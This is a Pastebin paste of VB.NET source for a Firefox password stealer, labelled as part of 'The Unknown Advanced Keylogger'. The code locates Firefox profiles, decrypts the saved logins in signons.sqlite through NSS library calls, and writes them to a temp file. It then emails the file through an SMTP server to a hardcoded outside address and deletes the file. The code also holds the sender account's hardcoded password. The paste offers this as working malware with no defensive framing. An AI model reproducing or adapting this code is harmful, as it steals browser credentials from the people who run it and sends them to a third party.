Advertisement
Guest User

Untitled

a guest
Aug 19th, 2017
458
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.75 KB | None | 0 0
  1. Imports System
  2. Imports System.IO
  3. Imports System.Runtime.InteropServices
  4. Imports System.Data
  5. Imports System.Text
  6. Imports System.Net.Mail
  7.  
  8. Module FFDecryptor
  9. Public Class SHITEMID
  10. Public Shared cb As Long
  11. Public Shared abID As Byte()
  12.  
  13. End Class
  14. <StructLayout(LayoutKind.Sequential)> _
  15. Public Structure TSECItem
  16. Public SECItemType As Integer
  17. Public SECItemData As Integer
  18. Public SECItemLen As Integer
  19. End Structure
  20. <DllImport("kernel32.dll")> _
  21. Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr
  22. End Function
  23. Private NSS3 As IntPtr
  24. <DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _
  25. Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
  26. End Function
  27. <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  28. Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long
  29. Public Function NSS_Init(ByVal configdir As String) As Long
  30. Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
  31. LoadLibrary(MozillaPath & "mozcrt19.dll")
  32. LoadLibrary(MozillaPath & "nspr4.dll")
  33. LoadLibrary(MozillaPath & "plc4.dll")
  34. LoadLibrary(MozillaPath & "plds4.dll")
  35. LoadLibrary(MozillaPath & "ssutil3.dll")
  36. LoadLibrary(MozillaPath & "sqlite3.dll")
  37. LoadLibrary(MozillaPath & "nssutil3.dll")
  38. LoadLibrary(MozillaPath & "softokn3.dll")
  39. NSS3 = LoadLibrary(MozillaPath & "nss3.dll")
  40. Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init")
  41. Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate)
  42. Return dll(configdir)
  43. End Function
  44. <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  45. Public Delegate Function DLLFunctionDelegate2() As Long
  46. Public Function PK11_GetInternalKeySlot() As Long
  47. Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot")
  48. Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2)
  49. Return dll()
  50. End Function
  51. <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  52. Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
  53. Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
  54. Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate")
  55. Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3)
  56. Return dll(slot, loadCerts, wincx)
  57. End Function
  58. <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  59. Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
  60. Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
  61. Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer")
  62. Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4)
  63. Return dll(arenaOpt, outItemOpt, inStr, inLen)
  64. End Function
  65. <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  66. Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
  67. Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
  68. Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt")
  69. Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5)
  70. Return dll(data, result, cx)
  71. End Function
  72. Public signon As String
  73. Sub Main(ByVal args As String())
  74. Dim Username As String = "USERNAME HERE FTP"
  75. Dim Password As String = "PASSWORD HERE FTP"
  76. Dim TEMP As String = System.IO.Path.GetTempPath
  77. If My.Computer.Network.IsAvailable Then
  78.  
  79. Else
  80. Exit Sub
  81. End If
  82. Dim ostrm As FileStream
  83. Dim writer As StreamWriter
  84. Dim oldOut As TextWriter = Console.Out
  85. Try
  86. ostrm = New FileStream(TEMP + "\U&P.txt", FileMode.OpenOrCreate, FileAccess.Write)
  87. writer = New StreamWriter(ostrm)
  88. Catch e As Exception
  89. Exit Sub
  90. End Try
  91. Console.SetOut(writer)
  92. Console.WriteLine("Firefox 3.5 & 3.6 Decryptor in VB.NET")
  93. Console.WriteLine("/Coded by DarkSel/ /Converted by: Newbie223/")
  94. Console.WriteLine()
  95. Dim FoundFile As Boolean = False
  96. Dim KeySlot As Long = 0
  97. Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
  98. Dim DefaultPath As String = Environment.GetEnvironmentVariable("APPDATA") & "\Mozilla\Firefox\Profiles"
  99. Dim Dirs As String() = Directory.GetDirectories(DefaultPath)
  100. For Each dir As String In Dirs
  101. If Not FoundFile Then
  102. Dim Files As String() = Directory.GetFiles(dir)
  103. For Each CurrFile As String In Files
  104. If Not FoundFile Then
  105. If System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite") Then
  106. NSS_Init(dir)
  107. signon = CurrFile
  108. End If
  109. Else
  110.  
  111. Exit For
  112. End If
  113. Next
  114. Else
  115. Exit For
  116. End If
  117. Next
  118.  
  119. Dim dataSource As String = signon
  120. Dim tSec As New TSECItem()
  121. Dim tSecDec As New TSECItem()
  122. Dim tSecDec2 As New TSECItem()
  123. Dim bvRet As Byte()
  124. Dim db As New SQLiteBase(dataSource)
  125.  
  126. Dim table As DataTable = db.ExecuteQuery("SELECT * FROM moz_logins;")
  127. Dim table2 As DataTable = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;")
  128. Console.WriteLine("+++Excluded hosts+++")
  129. For Each row As DataRow In table2.Rows
  130. Console.WriteLine(row("hostname").ToString())
  131. Next
  132. Console.WriteLine()
  133. Console.WriteLine()
  134. KeySlot = PK11_GetInternalKeySlot()
  135. PK11_Authenticate(KeySlot, True, 0)
  136. Console.WriteLine("+++Usernames & Passwords+++")
  137. Console.WriteLine()
  138. For Each Zeile As System.Data.DataRow In table.Rows
  139. Dim formurl As String = System.Convert.ToString(Zeile("formSubmitURL").ToString())
  140. Console.WriteLine("URL: " & formurl)
  141. Dim se As New StringBuilder(Zeile("encryptedUsername").ToString())
  142. Dim hi2 As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length)
  143. Dim item As TSECItem = DirectCast(Marshal.PtrToStructure(New IntPtr(hi2), GetType(TSECItem)), TSECItem)
  144. If PK11SDR_Decrypt(item, tSecDec, 0) = 0 Then
  145. If tSecDec.SECItemLen <> 0 Then
  146. bvRet = New Byte(tSecDec.SECItemLen - 1) {}
  147. Marshal.Copy(New IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen)
  148. Console.WriteLine("USERNAME: " & System.Text.Encoding.ASCII.GetString(bvRet))
  149. End If
  150. End If
  151. Dim se2 As New StringBuilder(Zeile("encryptedPassword").ToString())
  152. Dim hi22 As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length)
  153. Dim item2 As TSECItem = DirectCast(Marshal.PtrToStructure(New IntPtr(hi22), GetType(TSECItem)), TSECItem)
  154. If PK11SDR_Decrypt(item2, tSecDec2, 0) = 0 Then
  155. If tSecDec2.SECItemLen <> 0 Then
  156. bvRet = New Byte(tSecDec2.SECItemLen - 1) {}
  157. Marshal.Copy(New IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen)
  158. Console.WriteLine("PASSWORD: " & System.Text.Encoding.ASCII.GetString(bvRet))
  159. End If
  160. End If
  161. Console.WriteLine()
  162. Console.WriteLine("|--------NEXT--------|")
  163. Console.WriteLine()
  164. Next
  165. Console.WriteLine()
  166. Console.WriteLine("|-------FinisH-------|")
  167. Console.SetOut(oldOut)
  168. writer.Close()
  169. ostrm.Close()
  170.  
  171. Dim Message As New MailMessage()
  172. Dim SMTP As New SmtpClient("smtp.live.com", 25)
  173. Try
  174. Message.From = New MailAddress("mongols95@hotmail.com")
  175. Message.To.Add("theunknown-bot@hotmail.com")
  176. Message.Subject = "The Unknown Advanced Keylogger - FireFox Logs"
  177. Message.Body = File.ReadAllText(TEMP & " \U&P.txt")
  178. SMTP.EnableSsl = True
  179. SMTP.Credentials = New System.Net.NetworkCredential("mongols95@hotmail.com", "mongols")
  180. SMTP.Send(Message)
  181. IO.File.Delete(TEMP + "\U&P.txt")
  182. Catch ex As Exception
  183. End Try
  184. End Sub
  185. End Module
  186.  
  187. Public Class SQLiteBase
  188. <DllImport("kernel32")> _
  189. Private Shared Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr
  190. End Function
  191.  
  192. <DllImport("kernel32")> _
  193. Private Shared Function GetProcessHeap() As IntPtr
  194. End Function
  195.  
  196. <DllImport("kernel32")> _
  197. Private Shared Function lstrlen(ByVal str As IntPtr) As Integer
  198. End Function
  199. <DllImport("sqlite3")> _
  200. Private Shared Function sqlite3_open(ByVal fileName As IntPtr, ByRef database As IntPtr) As Integer
  201. End Function
  202.  
  203. <DllImport("sqlite3")> _
  204. Private Shared Function sqlite3_close(ByVal database As IntPtr) As Integer
  205. End Function
  206.  
  207. <DllImport("sqlite3")> _
  208. Private Shared Function sqlite3_exec(ByVal database As IntPtr, ByVal query As IntPtr, ByVal callback As IntPtr, ByVal arguments As IntPtr, ByRef [error] As IntPtr) As Integer
  209. End Function
  210.  
  211. <DllImport("sqlite3")> _
  212. Private Shared Function sqlite3_errmsg(ByVal database As IntPtr) As IntPtr
  213. End Function
  214.  
  215. <DllImport("sqlite3")> _
  216. Private Shared Function sqlite3_prepare_v2(ByVal database As IntPtr, ByVal query As IntPtr, ByVal length As Integer, ByRef statement As IntPtr, ByRef tail As IntPtr) As Integer
  217. End Function
  218.  
  219. <DllImport("sqlite3")> _
  220. Private Shared Function sqlite3_step(ByVal statement As IntPtr) As Integer
  221. End Function
  222.  
  223. <DllImport("sqlite3")> _
  224. Private Shared Function sqlite3_column_count(ByVal statement As IntPtr) As Integer
  225. End Function
  226.  
  227. <DllImport("sqlite3")> _
  228. Private Shared Function sqlite3_column_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  229. End Function
  230.  
  231. <DllImport("sqlite3")> _
  232. Private Shared Function sqlite3_column_type(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
  233. End Function
  234.  
  235. <DllImport("sqlite3")> _
  236. Private Shared Function sqlite3_column_int(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
  237. End Function
  238.  
  239. <DllImport("sqlite3")> _
  240. Private Shared Function sqlite3_column_double(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Double
  241. End Function
  242.  
  243. <DllImport("sqlite3")> _
  244. Private Shared Function sqlite3_column_text(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  245. End Function
  246.  
  247. <DllImport("sqlite3")> _
  248. Private Shared Function sqlite3_column_blob(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  249. End Function
  250.  
  251. <DllImport("sqlite3")> _
  252. Private Shared Function sqlite3_column_table_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  253. End Function
  254.  
  255. <DllImport("sqlite3")> _
  256. Private Shared Function sqlite3_finalize(ByVal handle As IntPtr) As Integer
  257. End Function
  258.  
  259. ' SQLite constants
  260. Private Const SQL_OK As Integer = 0
  261. Private Const SQL_ROW As Integer = 100
  262. Private Const SQL_DONE As Integer = 101
  263. Public Enum SQLiteDataTypes
  264. INT = 1
  265. FLOAT
  266. TEXT
  267. BLOB
  268. NULL
  269. End Enum
  270. Private database As IntPtr
  271. Public Sub New()
  272. database = IntPtr.Zero
  273. End Sub
  274. Public Sub New(ByVal baseName As [String])
  275. OpenDatabase(baseName)
  276. End Sub
  277. Public Sub OpenDatabase(ByVal baseName As [String])
  278. If sqlite3_open(StringToPointer(baseName), database) <> SQL_OK Then
  279. database = IntPtr.Zero
  280. Throw New Exception("Error with opening database " & baseName & "!")
  281. End If
  282. End Sub
  283. Public Sub CloseDatabase()
  284. If database <> IntPtr.Zero Then
  285. sqlite3_close(database)
  286. End If
  287. End Sub
  288. Public Function GetTables() As ArrayList
  289. Dim query As [String] = "SELECT name FROM sqlite_master " & "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'" & "UNION ALL " & "SELECT name FROM sqlite_temp_master " & "WHERE type IN ('table','view') " & "ORDER BY 1"
  290. Dim table As DataTable = ExecuteQuery(query)
  291. Dim list As New ArrayList()
  292. For Each row As DataRow In table.Rows
  293. list.Add(row.ItemArray(0).ToString())
  294. Next
  295. Return list
  296. End Function
  297. Public Sub ExecuteNonQuery(ByVal query As [String])
  298. Dim [error] As IntPtr
  299. sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, [error])
  300. If [error] <> IntPtr.Zero Then
  301. Throw New Exception(("Error with executing non-query: """ & query & """!" & vbLf) + PointerToString(sqlite3_errmsg([error])))
  302. End If
  303. End Sub
  304. Public Function ExecuteQuery(ByVal query As [String]) As DataTable
  305. Dim statement As IntPtr
  306. Dim excessData As IntPtr
  307. sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData)
  308. Dim table As New DataTable()
  309. Dim result As Integer = ReadFirstRow(statement, table)
  310. While result = SQL_ROW
  311. result = ReadNextRow(statement, table)
  312. End While
  313. sqlite3_finalize(statement)
  314. Return table
  315. End Function
  316. Private Function ReadFirstRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
  317. table = New DataTable("resultTable")
  318. Dim resultType As Integer = sqlite3_step(statement)
  319. If resultType = SQL_ROW Then
  320. Dim columnCount As Integer = sqlite3_column_count(statement)
  321. Dim columnName As [String] = ""
  322. Dim columnType As Integer = 0
  323. Dim columnValues As Object() = New Object(columnCount - 1) {}
  324. For i As Integer = 0 To columnCount - 1
  325. columnName = PointerToString(sqlite3_column_name(statement, i))
  326. columnType = sqlite3_column_type(statement, i)
  327. Select Case columnType
  328. Case CInt(SQLiteDataTypes.INT)
  329. If True Then
  330. table.Columns.Add(columnName, Type.[GetType]("System.Int32"))
  331. columnValues(i) = sqlite3_column_int(statement, i)
  332. Exit Select
  333. End If
  334. Case CInt(SQLiteDataTypes.FLOAT)
  335. If True Then
  336. table.Columns.Add(columnName, Type.[GetType]("System.Single"))
  337. columnValues(i) = sqlite3_column_double(statement, i)
  338. Exit Select
  339. End If
  340. Case CInt(SQLiteDataTypes.TEXT)
  341. If True Then
  342. table.Columns.Add(columnName, Type.[GetType]("System.String"))
  343. columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
  344. Exit Select
  345. End If
  346. Case CInt(SQLiteDataTypes.BLOB)
  347. If True Then
  348. table.Columns.Add(columnName, Type.[GetType]("System.String"))
  349. columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
  350. Exit Select
  351. End If
  352. Case Else
  353. If True Then
  354. table.Columns.Add(columnName, Type.[GetType]("System.String"))
  355. columnValues(i) = ""
  356. Exit Select
  357. End If
  358. End Select
  359. Next
  360. table.Rows.Add(columnValues)
  361. End If
  362. Return sqlite3_step(statement)
  363. End Function
  364. Private Function ReadNextRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
  365. Dim columnCount As Integer = sqlite3_column_count(statement)
  366.  
  367. Dim columnType As Integer = 0
  368. Dim columnValues As Object() = New Object(columnCount - 1) {}
  369.  
  370. For i As Integer = 0 To columnCount - 1
  371. columnType = sqlite3_column_type(statement, i)
  372.  
  373. Select Case columnType
  374. Case CInt(SQLiteDataTypes.INT)
  375. If True Then
  376. columnValues(i) = sqlite3_column_int(statement, i)
  377. Exit Select
  378. End If
  379. Case CInt(SQLiteDataTypes.FLOAT)
  380. If True Then
  381. columnValues(i) = sqlite3_column_double(statement, i)
  382. Exit Select
  383. End If
  384. Case CInt(SQLiteDataTypes.TEXT)
  385. If True Then
  386. columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
  387. Exit Select
  388. End If
  389. Case CInt(SQLiteDataTypes.BLOB)
  390. If True Then
  391. columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
  392. Exit Select
  393. End If
  394. Case Else
  395. If True Then
  396. columnValues(i) = ""
  397. Exit Select
  398. End If
  399. End Select
  400. Next
  401. table.Rows.Add(columnValues)
  402. Return sqlite3_step(statement)
  403. End Function
  404. Private Function StringToPointer(ByVal str As [String]) As IntPtr
  405. If str Is Nothing Then
  406. Return IntPtr.Zero
  407. Else
  408. Dim encoding__1 As Encoding = Encoding.UTF8
  409. Dim bytes As [Byte]() = encoding__1.GetBytes(str)
  410. Dim length As UInteger = bytes.Length + 1
  411. Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, DirectCast(length, UInt32))
  412. Marshal.Copy(bytes, 0, pointer, bytes.Length)
  413. Marshal.WriteByte(pointer, bytes.Length, 0)
  414. Return pointer
  415. End If
  416. End Function
  417. Private Function PointerToString(ByVal ptr As IntPtr) As [String]
  418. If ptr = IntPtr.Zero Then
  419. Return Nothing
  420. End If
  421.  
  422. Dim encoding__1 As Encoding = Encoding.UTF8
  423.  
  424. Dim length As Integer = GetPointerLenght(ptr)
  425. Dim bytes As [Byte]() = New [Byte](length - 1) {}
  426. Marshal.Copy(ptr, bytes, 0, length)
  427. Return encoding__1.GetString(bytes, 0, length)
  428. End Function
  429. Private Function GetPointerLenght(ByVal ptr As IntPtr) As Integer
  430. If ptr = IntPtr.Zero Then
  431. Return 0
  432. End If
  433. Return lstrlen(ptr)
  434. End Function
  435.  
  436. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement